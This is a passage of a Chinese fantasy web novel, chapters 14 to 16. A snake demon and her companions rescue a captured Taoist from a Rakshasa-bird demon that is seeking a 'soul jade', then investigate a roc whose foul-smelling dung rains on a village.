黑雾渐渐散去,南箴连着“呸”了几声,抖了抖衣袖,脸上的厌恶感越来越明显,“什么鬼东西?棺材里爬出来的妖怪吗!”
白绮作为一个知情人士,遂好心解释:“那是罗刹鸟,墓地尸气集聚所化的妖怪。”
说罢,白绮一转身,发现本该站在她身后的孟纨早已不知去向。
“孟道长?”
任凭几人喊破了喉咙,也未听见来自于孟纨的回应,却是遥遥望见树林边缘处横躺着数个人影。
白绮飞快跑过去,定睛一看,不是别人,正是被孟纨放回意识里的三个徒弟。
“你们怎么在这里!孟道长呢?”白绮慌了神了,罗刹鸟的目标是孟纨。
三个徒弟佝偻着身形从地上爬起来,纷纷捂住胸口咳嗽。
“师父……被妖怪抓走了。”念卿吐掉嘴里的血沫,应道。
白绮微微蹙眉,“究竟怎么回事,你们不是回到孟道长的意识里了吗?”
14. 第 14 章
慕心应道:“罗刹鸟妖力太强,直接把我们三个从师父的意识里强.逼出来了。”
“怎么了?”南箴不明就里,率先赶上前来,满腹疑虑,“那妖怪专抓道士吗?”
白绮心下着急,听她如是说,却不知从何说起,只道:“应是熟人。”
南箴瞪圆了眸子看她,“你说过你们不是同伙儿!?”
这逻辑……白绮噎了一下,耐着性子解释:“罗刹鸟一直在找孟道长,具体目的却不知情。”
“小白蛇,现在怎么办?”
孟纨被罗刹鸟抓走,他的三个徒弟一时失了主心骨,纷纷把饱含希望的目光转移到白绮身上。
白绮思来想去绞尽脑汁儿,突然灵光一现,想起其中一个细节——罗刹鸟在墓地布下的阵法,她曾把重造的“孟纨”放在阵中。
她的思绪逐渐清晰,终于捋清了其中的关键所在,罗刹鸟可能会把孟纨带回墓地。
“去墓地。”
“啊?”三个徒弟面面相觑。
“我们过不去那道‘门’。”
白绮适才想起这茬,霎时不知所措,心底沉了沉,她突然两眼放光,视线直楞楞地盯着南箴,“驱魔师……你们有办法让没有实体的东西附身到实物上吗?”
她这话说得没头没尾,南箴听得云里雾里,一手叉腰一手扶住扛在肩上的长枪,觑着她,“什么意思?没听懂。”
白绮深吸一口气,便欲解释。
温霆玉却是个机灵的,他抬手朝孟纨的三个徒弟一点,迟疑着道:“你的意思是,他们三个不是人,也不是妖物,而是魂魄之类的存在?”
闻言,白绮感动得只差涕泪横流了,身边总算还有个明白人。
她点头如捣蒜,“他们是意识一样的存在,你有办法把他们附到实体上吗?什么东西都可以,但不能太沉了。”
三个徒弟安安静静地站在白绮身后,皆是一副老实听她安排的本分模样。
南箴一举长枪,举步便走到三个徒弟面前,上下打量着,“嗐!我还以为什么大不了的,我来!”
白绮退到一旁,便见南箴席地而坐,将长枪放在一旁,双手置于膝上结出手诀。一阵鸡飞狗跳之后,终于让孟纨的徒弟们附身到三枚小石块上。
南箴抬袖擦拭额角淋漓的细汗,“成功了。”
一行人正欲往墓地的方向行去,适才想起刚从树林里逃命出来的中年男人,回首看时,却只有一具枯骨横陈在地上,早已不复方才众人见到时的鲜活肉.体。
众人皆是大吃一惊,温霆玉蹲下.身去仔细打量半晌,带着疑惑的目光看向南箴。
“师姐,这……怎么会这样?”
南箴拧紧眉头,“被骗了,不是活人!”
白绮思忖片刻,慢慢捋清其中的弯弯绕绕,“应是罗刹鸟为了拖延时间,弄出这么个逃命的人来。”
“可恶!”南箴忿忿道。
众人顺利穿过石壁来到墓地,夜明珠明亮光辉映照下,随处可见杂乱的碎石,却未如愿见到孟纨,或是罗刹鸟的行迹。
三个徒弟相继从拳头大小的石头里出来,一齐傻了眼了。
“小白蛇,会不会有什么机关暗门之类的?”少翁小心翼翼道。
这话倒是提醒了白绮,罗刹鸟的巢穴不可能只有眼前见到的一片墓地。
众人谈话间,南箴已将长枪置于地上,开始施法,尝试寻找出一点蛛丝马迹,墓地里仍是不见人迹。
却并非全然没有变化,至少,他们隐约听见一阵窸窸窣窣的声音从墓地潮湿阴冷的地面上传来。
紧接着,像是有人刻意压低嗓音交谈。
白绮屏息凝神,侧耳聆听半晌,脸上满是疑惑。
“在哪……什么在哪?”她略显迟疑,不太确定对方说的是不是这两个字。
南箴几欲将脸颊贴到潮湿的地面上,说话声里带着鼻音,“听着像是,孟公子……在哪里?”
众人面面相觑,这……听上去也不像罗刹鸟会问的问题。倘或孟纨在她手上,又怎会问孟纨本人在哪里。
白绮只觉哪里不对劲,“南箴,你这术法起的什么用途?”
南箴被她问得一愣一愣的,“用途……带有破坏性,能破坏旁人布下的阵法之类的。不过,我术法学得不到家,威力不大。”
白绮来回踱步,若有所思,“有没有可能,他们在地底下?”
慕心微微蹙眉,“小白蛇,我们现在已然在地底下,下面还能有机关?”
他们原本听不见任何声音,却在南箴施法后隐约可闻忽远忽近的谈话声,恰好能说明南箴的术法破坏了罗刹鸟布下的阵法。
罗刹鸟确是带着孟纨回到了巢穴,却非他们先前来过的墓地。而是,隐藏在暗处的真正意义上的巢穴。
“术法,再试试。”白绮再度把希望寄托在南箴身上。
南箴撇撇嘴,不太自信地道:“方才已经是我能使出来的最为强大的术法了。”
白绮却不打算放弃,心里盘算着下一步计划,“与你小师弟一齐施法,你们师出同门,会的术法门道应当不会相悖。”
温霆玉闻言,赶忙跑到南箴面前,“师姐,她说的有道理,我们试一试。”
“行,听你的。”南箴点点头同意了,难得没有上手抽他后脑勺。话音一落,两人便开始着手施法。
白绮不远不近地站着观察,两人配合得极好,步骤井然有序。
不过一盏茶的功夫,复又闻得细语声若隐若现。
“……东西在哪里?究竟在哪里?”
这回白绮听清了。
南箴与温霆玉施法诵咒的动静里,依稀可辨别出夹带了这样的说话声。
她还未来得及弯下腰去凑近地面,忽闻一阵轰隆隆的雷鸣闪电般的声音在墓地里响起,仿佛整个巢穴即将垮塌。
“啊……”
众人顿觉一阵头眩目昏,不及反应,便悉数从地面上骤然裂开的一个裂缝坠落。
混乱中不知过去多久,除了旁人吱哇乱叫的叫嚷,只余耳旁飞快闪过的呼啸风声。
终于落至实处,一行人形容狼藉,全趴在铺着细碎石块的地面上。
“孟公子,魂玉在何处?”
这是白绮落地后听见的第一道声音,她也终于听清说的是什么。
孟公子,自是指孟纨。
魂玉又是何物?
白绮回首扫一眼身后孟纨的徒弟们,见他们三个皆是一脸茫然,心底疑虑更甚。
倘或问话的人是罗刹鸟,听上去似乎与他们猜测的有关绵绵情意爱而不得之类的狗血故事相差甚远。
“我这里好久没有这般热闹了。”罗刹鸟步履轻盈,裹挟着一阵浓郁的腥甜香气向众人袭来。
太香了,仿佛能摄人心魂。白绮仿佛有一条无形的绳索牵引,举步便往前行,忽闻身后传来“砰砰砰”几声闷响,她旋即清醒过来,心头一惊,猛地顿住步伐。
糟糕!
刚才那阵异香,竟是罗刹鸟使的魅惑之术,除却她与南箴,余下的人悉数倒成一片。
大妖的魅惑之术,闻之能教中术法者对施术者言听计从,倘或自身承受不住,便会当场昏死过去。
孟纨的三个徒弟,以及温霆玉,便是如此,竟连沦为受罗刹鸟摆布的提线木偶的“资格”也没有。
“果然是废物。”南箴瞥一眼摆成个大字形状躺倒在地的温霆玉,望向他的眼神有
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些恨铁不成钢。
她突然朝着罗刹鸟所在的方向大喊:“喂!散发出恶臭的妖怪,除了幻术与魅惑之术,你还有什么本事?”
又开始了。
白绮不由的直蹙眉,南箴这话只会惹怒罗刹鸟,或将伤及孟纨。
念及于此,白绮快步走到南箴身旁,扯了一下她衣袖,觑着她轻轻摇头。
白绮决定先来软的,遂问:“孟道长在哪里?”
“哦……是你啊!”罗刹鸟拖长尾音轻叹一声。
白绮不自觉地蹙了蹙眉,问她:“你认得我?”
“何止是认得。”罗刹鸟见她这副反应,顿时来了兴致,“可惜啊,你不记得我了。”说罢,她唇角略弯,低声笑了笑。
罗刹鸟变幻的人形肤白胜雪,眉眼妖冶动人,这一笑却是透着十足的阴森寒意,硬是将十分的美貌降至七八分,却依然美艳不可方物。
“你说你们不是同伙儿!”南箴忿忿地瞪着白绮。
白绮一噎,咬牙切齿:“我不认识她。”
“她认得你!”南箴本着吵架绝对不能输的斗志,即刻将话顶了回去。
“怎么,我还未提出条件呢,你们便开始内讧了?”罗刹鸟好整以暇地找了块石头坐下,歪着头看她俩。
南箴却是个不按常理出牌的性子,毫无预兆,她举起长枪直楞楞地劈向罗刹鸟,“找死!”
罗刹鸟却无意与她动手,身形轻盈往后一跃,霎时不见踪影。
须臾,周遭事物发生剧变。
“啊!又是幻术!”南箴双手抓住头顶高高束起的马尾,临近抓狂。
“孟公子,魂玉究竟在何处?告诉我,放你们一条生路。”罗刹鸟的声音复又传来。
只闻其声,不见其人。
白绮此刻有些怀疑罗刹鸟四处搜寻孟纨的真正意图可能无关情爱。
“咳咳……”一阵虚弱的咳嗽声传来,“我不知你在说什么。”
那是孟纨的声音,白绮心底又惊又喜。孟纨还活着,孟纨听上去很虚弱。
“孟道长……”
“快把魂玉交出来!把魂玉给我!”罗刹鸟歇斯底里尖叫起来。
南箴一头雾水,“魂玉究竟是个什么物件儿?”
白绮摇头,“我也不知。”
旋即两人像是无头苍蝇一般在墓地里四处搜寻孟纨与罗刹鸟的身影。
白绮人身变幻为巨蟒,长逾数丈的蛇尾在墓地里翻腾,搅得周遭乌烟瘴气。
混乱中蛇尾撞到石壁上附着的一个茧蛹形状的东西,茧蛹由碎石与黑土包裹着。
蛇尾把茧蛹撞破的一刹那,四周掀起如浪潮一般的沙砾,白绮顿觉一阵天旋地转,旋即,身形被茧蛹裹挟进去。
模糊的视线中,白绮望见孟纨四肢被缚固定在一根血迹斑斑的石柱上,身上吸附着众多腐烂却仍在蠕动的残肢碎肉。他身后尚有另一个身影同样被缚在石柱上,却看不真切形容。
他低垂着头,浑身上下鲜血淅淅沥沥往下滴落。
白绮慌了神了,心底的疑惑也愈发浓烈。
情急之下,她将心中所思悉数说出口来:“你既是钟情于孟道长,为何又这般折磨他?”
“你说什么?”罗刹鸟先是一怔,像是未听懂白绮话里的意思,她反应了片刻,适才明白她指的是什么。
旋即,罗刹鸟爆发出一阵不加掩饰的嗤笑,仿佛白绮所言是世间极为荒诞的无稽之谈。
“钟情于他?一个乳臭未干的小子。”她语气里满是不屑与讥讽,“你以为谁都如你一般……”
白绮神色一滞,似乎从罗刹鸟的只言片语里捕捉到了什么重要信息,但太零散也太混乱,她一时没能够理清头绪。
15. 第 15 章
唯一能够确定是,罗刹鸟虐杀数十人费心重造孟纨的躯.体无关情爱,她只欲从孟纨身上拿到魂玉。
魂玉究竟是何物,重造孟纨便能拿到魂玉?
白绮百思不得其解。
她抬眼四下打量,周遭像是刚遭遇过一场沙尘暴一样颓败。南箴早已不知去向,想必是方才碎石筑成的茧蛹爆裂开时,并未将她一同吸纳进来。
他们现在身处于茧蛹内部空间,白绮渐渐捋清思绪,却将罗刹鸟那句没头没尾的话忘了个干净。
“魂玉在何处?”
罗刹鸟尖厉的一嗓子猛将白绮飞到九霄云外的游魂拉回现实。
她迟疑着道:“那个……我从未在孟道长身上见过什么魂玉,你是不是弄错了?”
“你闭嘴!”罗刹鸟凌厉的眼风朝她扫来,“你懂什么?连自己是谁都不清楚的一个……蛋。”说罢,还不忘讽刺的嗤笑一声。
白绮霎时脸色黢黑犹如锅底,由衷的体会到了南箴翻白眼时的心情,却又好奇得紧,罗刹鸟并无攻击她的意思,莫不是为着所谓的“魂玉”魔怔了?
“他……孟道长怎么样了?还有,他身后之人是谁?”
她试探着往孟纨所在的方向移动身形,却似有一股强大的阻力挡在身前,竟是无力移动半步距离。
旋即,她便察觉到身体渐渐变得僵硬,除了眼珠能够自如转动,手脚皆似被霜雪冻住一般,动弹不得。
糟糕!
罗刹鸟妖术遍布巢穴,竟是教她防不胜防,一个不小心便被摆了一道。
“死不了!别乱动,我这里并不缺死人。”罗刹鸟紧盯着白绮的动作,却无意告知于她与孟纨绑在一起的人是谁。
“……”白绮一噎,转而平心静气地问道:“魂玉是什么?有何用途?”她期待罗刹鸟能向她透露一星半点。
“你呀!当真是一无所知。”罗刹鸟长叹一口气,无比唏嘘,“有了魂玉,便可教百鬼听令于我。你说还能有何用途?”
白绮瞳孔骤缩,罗刹鸟费尽心机欲拿到的竟是能召唤百鬼为己所用的灵物,可见其目的并不简单。但她却是未曾听闻孟纨或是他的徒弟们提及魂玉,也从未见过此物。
她突然觉得格外好笑,他们一行人竟是先入为主地认定了罗刹鸟重塑孟纨是因爱而不得或是被始乱终弃一类的缘故。
便是孟纨本人,原本持有怀疑态度,却在逐渐接近所谓真相的过程中也由将信将疑转而信以为真。
殊不知,罗刹鸟真正的目的无关儿女私情。
“重塑孟道长,便能拿到魂玉吗?”白绮问得小心翼翼。她无法靠近孟纨,不便冲动行事,只得与罗刹鸟言辞拉扯拖延时间。
罗刹鸟在孟纨身旁站直身形,她的目光凝聚在孟纨脸上,毫无保留地将自己的目的剖开来说给白绮听。
“重塑孟公子,是为召唤他的原身。数年前我睁眼醒来,并不知他重回人世,一直试图将他唤醒。直至数日前,那人在赤水海畔祭坛施法,我适才发现被人利用,与对方大动干戈……”她唇角浮现一抹嗤笑,说话声戛然而止。
白绮想起昔日孟纨与她皆曾怀疑逐月国国师奉国主之命施法为百姓祈福一事或有蹊跷,祈福只是表象。此刻闻言,更是从先前的猜疑逐渐转为得到验证的事实。
罗刹鸟与逐月国国师之间,必有阴谋。
白绮正为捋清楚个中缘由而沾沾自喜,忽闻罗刹鸟叹道:“早知孟公子重回人世,我也不必大费周章取那数十来人的性命,倒是白白叫蛮蛮那个蠢货生出妒忌之心。”
“你知道蛮蛮因妒而暗中屠杀与孟道长相似之人,却不加以阻拦。”
罗刹鸟看向她,“笑话,我为何要阻拦?我需要的只是他们与孟公子相似的身体部位,至于人是死是活,无与我何干?”
“咳咳……”身体承受不住而昏厥后许久没有动静的孟纨悠悠转醒,“荒唐,那是数十条活生生的人命。”
“哦!孟公子,这可不能怪罪于我。但凡,你想过其中的渊源,也知此事实则因你而起。若非因你手中的魂玉,他们也不会遭受此等非人遭遇。痛快将魂玉交给我,避免旁人也受到牵连。”
罗刹鸟与蛮蛮二人不愧为主仆关系,思考问题的角度竟是惊人的相似。
孟纨连连咳嗽数声,才道:“你也搜过身,便知我并无你想要的魂玉,又何必一意孤行?”
乍闻此言,白绮暗自揣测,倘或魂玉确为孟纨所有之物,他身上确有一物恰好与之匹配,可能正是罗刹鸟提及的魂玉。
孟纨的法器——那柄白玉短剑,置于怀中便归于无形状态,难怪罗刹鸟搜身时未能发现。鉴于孟纨并无以往记忆,他本人可能也不知白玉短剑便是罗刹鸟挖空心思欲得到的魂玉。
念及于此,白绮顿觉浑身寒毛直竖,不禁唏嘘,若非孟纨将白玉短剑化为无形,倘或教罗刹鸟得了去,召唤百鬼为己所用,后果不堪设想。
白绮思绪转得飞快,如今她与孟纨皆被束缚住身形,南箴等人更是短时间内无法靠近此地,若想脱身,唯有智取可行得通。
“孟道长,你昨夜给我的定情信物,是魂玉吗?”白绮的视线努力朝孟纨所在的方向投去,意图使个眼色,奈何她站的位置距离孟纨实在太远,无法将她的小心思向孟纨透露一二。
孟纨一惊,“什么?”
哪有什么定情信物!
罗刹鸟的眼睛顿时亮了起来,“想不到啊,孟公子,重活一世,你依然与千年蛇妖纠缠不清。”说罢,她缓步朝白绮走来,“白绮,你还真是不长记性啊!”
白绮此刻一心智斗罗刹鸟,早已无心纠结于对方偶尔冒出来的三言两语胡言乱语。
“长不长记性什么的,不重要,能抱得美人归才是正事,你说是吧?”她开始耍起无赖,胡说八道起来。
罗刹鸟已至白绮面前,站定身形死死盯着她眼睛,“魂玉——你们的定情信物,拿出来!”
白绮努力转动眼珠,“我动不了啊,你先给我‘松绑’。”
罗刹鸟嗤笑一声,“白绮,想骗我解开你身上的术法,好教你来对付我吗?赶紧将魂玉交出来,不然,我让你再度失去你的孟道长。”
白绮福至心灵,终于意识到罗刹鸟有意无意提及前尘旧事,不想在意也难,有个念头在心底逐渐浓烈,她与孟纨,定是有某种紧密牵连。
听闻罗刹鸟的言外之意,她曾因孟纨吃过大亏,不然对方也不会拿“不长记性”之类的话试图刺激她。
“定情信物在我的贴身衣物里,你自己来取。”她勉励将跑偏的思绪抽离,转而继续糊弄罗刹鸟。她的贴身衣物里有一叠画好的符篆,是孟纨前日留给她的。
罗刹鸟将信将疑,却仍是抵挡不住魂玉带来的冲击与吸引,遂双手探上白绮外衫,再缓缓往里探去,触及到她贴身衣物里确是有一物,她忙不迭将其取出。
孟纨遥遥望见罗刹鸟手中捧着丝绢包裹的物件,心下霎时了然,旋即,便见罗产鸟双手微微颤抖打开那层薄如蝉翼的丝绢,里面正是一叠折得整整齐齐的符篆。
罗刹鸟眼神一滞,“定情信物,是一叠纸?”
白绮一本正经地胡说八道:“定情信物,自然是顶重要的物件儿,里三层外三层妥善保管才能表达我对此物的重视,也能彰显出我对孟道长的珍视。”
孟纨强忍着浑身上下一阵隐隐作痛,哭笑不得。
罗刹鸟迫不及待一层一层打开符纸,面色逐渐凝重起来,待到最后一层符纸打开,露出纸上一幅张牙舞抓的图案来,竟是画了满页纸的藤蔓。
她有些不明所以,突然吃疼地尖叫一声,旋即猛将手中的“定情信物”扔掉,转身落荒而逃。
然而,纵使她健步如飞也来不及了,自符篆里涌出来的藤蔓愈聚愈多,速度极快,不过片刻光景,便悉数涌到罗刹鸟身前,拦住她去路。
罗刹鸟竟是连思考的功夫也不曾有,便被藤蔓死死缚住身形,不能动弹。
“怎样?孟道长给我的定情信物算不算得上珍宝?”亲见罗刹鸟同她与孟纨一般无法动弹,白绮幸灾乐祸。
孟纨留给她的那几张符篆,其中之一尤为厉害,乃降服的妖物所化,打开后符篆上的事物会现出真身,藤蔓甫一得到自由,便会释放出绞杀的本性。
她小心翼翼地贴身放着,唯恐无意识间碰到了伤及自身。
“你!”罗刹鸟被藤蔓勒得死死的,恨自己心思放在魂玉上过于心切,竟是教白绮钻了空子,轻信了狡猾的蛇妖。
她明明以往便吃过亏,事实证明,她才是不长记性的那个。
白绮忽略掉罗刹鸟似能喷火的眼神,故作无辜状,问她:“现在怎么办?我们都不能动了呢!”
见状,罗刹鸟气得要吐血,强忍着内心逐渐浓烈的愠怒,恶狠狠道:“你究竟想怎样?”
白绮闻言觉得委屈极了,“我并不想怎样,是你先行将孟道长抓走,我们才会追上来救人呢!看样子你并不会轻易放我们走,不如,你先告诉我,与孟道长绑在一起的人是谁吧?”
“你们要找的赵如星。”罗刹鸟认命般如实回答。
白绮与孟纨皆是大吃一惊,明明昔日蛮蛮曾透露赵如星已身死,他们一行人甚至在误入迷阵时遇上过他残败的尸身。罗刹鸟却说与孟纨绑在一起的人便是赵如星。
虽是惊疑不定,却仍然暗自松一口气,他们总算没有白跑一趟,失踪的年轻美貌男子并非全员丧命,至少,赵如星还活着,尚能看见一线希望。
罗刹鸟见两人面色略显疑虑,遂开口问道:“怎么,不信?又想骗我解开阵法,教你上前看个真切!”
“那倒没有。”白绮老老实实地应道,“只不过……蛮蛮曾说赵如星早已身死,我们有些不敢相信罢了。”
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“哈哈……”
她还能笑得出来,可见目前的局势于她来说并非全然处于劣势。
“蛮蛮那个小肚鸡肠的废物,随便几句话便能将他诓骗得团团转,自以为了解我的心思,把自己变幻成孟公子的模样,却不知……”罗刹鸟似笑非笑地看向孟纨。
“却不知我只是为了拿到魂玉,可悲可叹呐!”
听闻罗刹鸟如是说,白绮总算弄清楚为何蛮蛮变幻的人形形容与孟纨有七八分相似,气质却相差颇大,皆因他误解其意,浑身上下流露出来的讨好却是出自本心。
她转动眼珠看向罗刹鸟,蛮蛮助纣为虐会错了意,虽说救命之恩应当涌泉相报,但他报恩报错了方向,白白教那些无辜之人丢了性命。
她正寻思如何才能快速脱身,以免南箴一行人在外边着急,忽闻罗刹鸟一阵痛呼,像是疼得厉害,旋即大声喊道:“孟公子,而今你灵力低微,催动藤蔓犹如蚍蜉撼树,杀不了我,你们照样脱不了身。”
原来是孟纨凭借着恢复的零星灵力催动了附加在藤蔓身上的术法,才叫罗刹鸟疼痛难耐。
罗刹鸟这话倒是提醒了白绮,既是如此,罗刹鸟非死不可,她害人无数,本就早已该死。
再者,听闻罗刹鸟之言,她与逐月国国师或有合谋,不难推测出罗刹鸟数年前在现世醒来也与逐月国国师有关,可能正是国师将她唤醒。
白绮心中的一个念头逐渐清晰,她自己昔日浑浑噩噩地在赤水海底被人唤醒,想必正是国师所为。
这位国师究竟有何目的,想必除却她与罗刹鸟,也有其余妖物被他唤醒……思及于此,她竟是不寒而栗,倘或果真如此,后果无法估量。
孟纨气若游丝,突然开口:“如此看来,像是无解。”
确是无解,他们双方皆不愿先行退让一步,便只能继续僵持下去。
罗刹鸟贼心不死,仍是企图将魂玉占为己有,“孟公子,把魂玉交给我,如今你这幅形容,留着魂玉也无甚用处。”
实则白绮心底依然有疑虑,罗刹鸟对于夺取魂玉的执念究竟出于何种目的,这般想着,她旋即便问出口来:“你拿魂玉做什么用?莫不是想要号令群鬼大杀四方。”
她话里带着揶揄之意,罗刹鸟明显也听出来了,遂不客气地道:“用不着你操心,大杀四方也好,用作自保也罢,皆不是你应该操心的事。”
这话信息量就大了,白绮思忖半晌,对她夺取魂玉的目的更是了然了几分,遂继续发挥三寸不烂之舌,“莫非你与逐月国国师目的不同意见不合,闹翻了。”
罗刹鸟听得白绮话里肯定的意味较重,难免怀疑对方或是摸透了她的来历,却无从得知白绮对于她与国师之间的勾当了解多少,心下顿时七上八下没个着落。
昔日国师将她身上的封印解除,只为罗刹鸟能够为他所用。逐渐察觉她不易掌控,知她另有图谋,遂刻意防备,也有所顾忌了。
而今她与国师之间的联盟也好,各取所需也罢,总之,她与国师之间的关系早已摇摇欲坠。原本她将希望寄托在魂玉上,倘或魂玉得手,那是可召唤百鬼为己所用的灵物,即便国师心有余也不敢轻易对付她。
“你认识国师?”罗刹鸟试探白绮。
白绮如实道:“见过一次,算认识吗?”
“是吗?可惜了!”罗刹鸟轻轻叹一口气,神色流露出嘲讽之意,话也说得意味不明。
白绮见状心下不大舒坦,罗刹鸟总会有意无意间提及一些她与孟纨不记得的旧事,这让她有些抓狂,却拿罗刹鸟没办法,更不能流露出一星半点情绪教对方看出她的心思。
她决定装傻充愣,遂继续向罗刹鸟套话,“我实在是想不出因为何种缘故,逐月国国师那样一位心怀天下的仁者,竟会同你这样一个危害百姓的妖物同流合污。”
“哈哈哈……”罗刹鸟闻言气笑了,“心怀天下?仁者?白绮,数百年不见,你当真是变了不少,愚蠢得可笑。”
“……”
从罗刹鸟口中套话为重,白绮被对方辱骂“愚蠢”,也只得强忍着。
她屏息聆听片刻,并未听见孟纨作声——兴许是又疼得昏厥过去了。
啧啧!
不愧是细皮嫩肉的孟道长,想起孟纨昔日被她的蛇尾勒到昏厥,白绮不由的一阵唏嘘。
时间在空旷幽深的墓地里被无限拉长,白绮因罗刹鸟的术法而定在原地不得动弹,两只眼珠子转来转去转得她双眼生疼,她感觉到疲惫的眼皮已有抽搐的迹象。
她与罗刹鸟你一言我一语,一来二去,肉眼可见分出胜负的时刻遥遥无期。白绮已在心底祈祷南箴一行人能够尽快突破罗刹鸟布下的阵法,破阵而入大杀四方。
“白绮,你……”
她双眼干涩得厉害,遂开始闭目养神,不予理睬试图游说她的罗刹鸟,任由罗刹鸟从古说到今有意拿话吊她胃口。
16. 第 16 章
时刻准备着大杀四方的南箴一行人此刻正忙得焦头烂额,只差将那处发现茧蛹的位置掀翻了重建,仍是一无所获。
“究竟从哪里进去的?我分明见白绮在这个位置消失的啊!”南箴额头冒出细密汗珠,灰头土脸地探出双手在石壁上摸索。
温霆玉忽然朝她招手,欣喜唤道:“师姐,你过来瞧瞧这里,可是有光亮?”
孟纨的三个徒弟说时迟那时快,迈开步子就是跑,纷纷先于南箴一步抵达温霆玉跟前。
确是有一道微弱亮光穿过石壁细微的裂缝透出来,却因距离白绮被茧蛹卷走的位置颇远,他们一开始并未往这个方向查探。
南箴大步流星,挥挥衣袖让其余人躲开身形,旋即抄起长枪,顺着石壁上的缝隙便用力撬开。
一阵“稀里哗啦”的碎裂声,墙壁上碎石尘土洒了她满头满脸,南箴“呸呸”吐掉口中沙砾,望着眼前破开的豁口,脸上渐渐流露出欣喜神色。
“我原以为那只嫌命太长的罗刹鸟能耐颇大呢!”南箴回首招呼众人,“走!随我进去瞧上一瞧,这般久没有动静,他们两个应是遇上麻烦了。”
遇上麻烦的两人仍在无声地与罗刹鸟对峙,忽闻一阵杂乱的步履声逐渐靠近。
白绮睁开干涩酸痛的双眸,便见南箴领头,带着孟纨的三个徒弟与温霆玉出现在洞口的位置。她一时心下动容,激动得险些泪洒当场。
“总算是来了!快,先瞧瞧孟道长与他身后那人,半晌没有作声了。”白绮满眼期待望着救星,“南箴,罗刹鸟不能留,她死了我们身中的妖术便能自动解开。”
三个徒弟火急火燎地跑到孟纨那头,倏闻念卿中气十足的一嗓子犹如惊雷在墓地炸响,“啊啊啊……怎的又有一个赵如星?到底是人是鬼啊!”
话音未落地便被慕心铁钳似的双手死死箍住他肩膀,霎时呜咽着噤了声。
南箴举起长枪,便在利刃距离罗刹鸟胸口不及一寸的位置之际,罗刹鸟出声求饶,“先别着急动手!此地凭借着我的妖术维持,我若没命了,这墓地顷刻间便会坍塌,你们照样出不去。”
南箴瞳孔骤缩,将信将疑,却仍是顿住手中动作,随即抬眼朝白绮看来,“真的假的?”
实则白绮也毫无头绪。确切来讲,她未曾考虑过这茬。此事却不能秉着试一试便知的态度,稍作思忖,她对罗刹鸟道:“先解开我们身上的术法。”
对方人多势众,罗刹鸟自知已是强弩之末,挣扎反抗皆为徒劳,遂缓缓仰首,嘴唇微张吐出汩汩黑烟,须臾,墓地内弥漫着浓烈的腐尸气息,禁锢在白绮与孟纨身上的妖术相继解开。
罗刹鸟一朝失势,心底怨念重重,仍是悔恨不迭。
昔日她被人唤醒,为自保于巢穴内布下重重术法。白绮闯入后便被妖术缠身,她未来得及修补被白绮破坏的术法便因对方的圈套陷入困境。
偏偏他们兵分两路,这群后来者却是毫发无伤。罗刹鸟咬牙切齿,却未就此认命。
白绮活动活动僵硬的四肢,旋即快步跑过去查看孟纨的伤势,趁便确认了与孟纨绑在一起的人——虽是奄奄一息,确实是活生生的赵如星,不由的暗自松一口气。
几经折腾,孟纨已然转醒,白绮搀扶着他跟在众人身后缓步往外行。
一行人相继钻出罗刹鸟的巢穴得以重见天日,身后的墓地完好无损,纷纷松懈下来,倏闻一声惊呼突兀地响起,“啊呀呀!师父……”
少翁身后背着仍处于昏厥状态的赵如星,仰着头望天,“那边天际怎的黑压压一片?”
众人循声仰首望去,忽见黑云遮天蔽日而来,更伴有浓郁腥臭之气。须臾之间,天色黢黑犹如黑夜突然降临,暴雨倾盆而至。
孟纨想必是知晓这压城而来的黑云为何物,只道:“速寻蔽身之处。”
众人闻言四下散去,慌乱中,罗刹鸟逮住可趁之机,试图挣脱开束缚住身形的藤蔓,那藤蔓早已不堪一击,遭她妖力震碎,“呲啦”一阵巨响,残败的藤蔓四溢而散。
罗刹鸟目标明确,身形一闪直奔孟纨而去,电光石火间,孟纨下意识自怀里抽.出白玉短剑格挡。罗刹鸟福至心灵,猜测此物便是她心心念念的魂玉,掌心顺势朝剑柄夺取。
偏偏孟纨身旁的白绮“不作美”,修长双腿变幻成蛇尾猛将朝罗刹鸟袭来,直直把她摔出去数米远,她仍是对魂玉不死心,幻化鸟身再度向孟纨扑去。
便在罗刹鸟的鸟爪勾住白玉短剑正欲飞身逃离,意外却在此刻发生了。剑尖倏地燃起一簇烈焰,瞬息之间燎遍罗刹鸟全身,只闻得一阵凄厉的鸟鸣,便见罗刹鸟随着逐渐熄灭的火光化为灰烬。
众人面面相觑,纷纷怔在原地。
“师父,怎么回事啊?”念卿余悸未消,忍不住发问。
孟纨:“此物乃妖物克星。”
白绮闻言,不禁唏嘘,幸而她未曾因按捺不住好奇去触碰孟纨的白玉短剑,不然,必会先一步落得罗刹鸟那般下场。
散发出腥臭气味的黑云已至眼前,众人忙不迭寻一处山洞蔽身,却见山洞内早已密密麻麻聚集着数十来人,双方面面相觑,各有惊异之状,嗅着愈发浓郁的腥臭味儿,旋即回过味来。
孟纨向其中一名白发老者打听得知,此地每隔一段时日便会下一场带有腥臭之气的黑雨。
一位书生称他曾在古书上读到一则故事,书里描述的一类飞禽与此物颇为相似。
“是什么?”念卿迫不及待地凑过去问他。
书生斟酌着道:“鹏粪。”
“鹏粪?”鹏鸟的粪便,众人皆是大吃一惊,愈发令人作呕。
孟纨:“出现此等异像有多少时日了?可有规律可循?”
书生蹙眉思忖半晌,应道:“五月有余。称不上有规律,然据我观察,村里每每有房屋新建成,便会下一场腥臭雨。”
“初时以为大兴土木惹怒了哪路神仙,遂开工前皆会前往土地庙祭祀,却并无甚作用。”
大致了解了情况,孟纨决定留下来为村民们解决天上频繁下“粪雨”的异状,遂嘱咐三个徒弟先行送赵如星回逐月城。
“孟道长,你怀疑下大粪毁坏房屋的鹏鸟是妖物吗?”白绮好奇问道。
孟纨颔首,肯定道:“鹏鸟并非无故作恶之辈,如今频频在此地作祟,必然事出有因。”<
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旋即两人循着鹏粪的痕迹一路追查,寻到一片茂密的古老森林,鹏粪消失的地方,两人见到偌大一个鸟巢,遥遥可见一巨型禽类栖息于此。
那是一只温驯的鹏鸟,它用粪便压塌村民房舍的缘由却是令人忍俊不禁。
温驯的鹏鸟称它数月前在赤水海底被人唤醒,上岸后寻得一处隐蔽地方孵蛋,蛋却无故被误入森林的村民戳破。
“我孕育了数百年,好容易才得以重见天日,眼见着我的孩子即将出生,他们……一群粗鲁的人类。”
白绮闻言看向孟纨,皆在对方眼中见到惊疑。旋即,孟纨开口问鹏鸟:“你说孕育数百年,可否详细说说?”
从未听闻禽类孕育后代需要如此漫长的时间,再者,鹏鸟所言“重见天日”尤为可疑,其中必有蹊跷。
“我被封印数百年,数月前才得以脱身……”
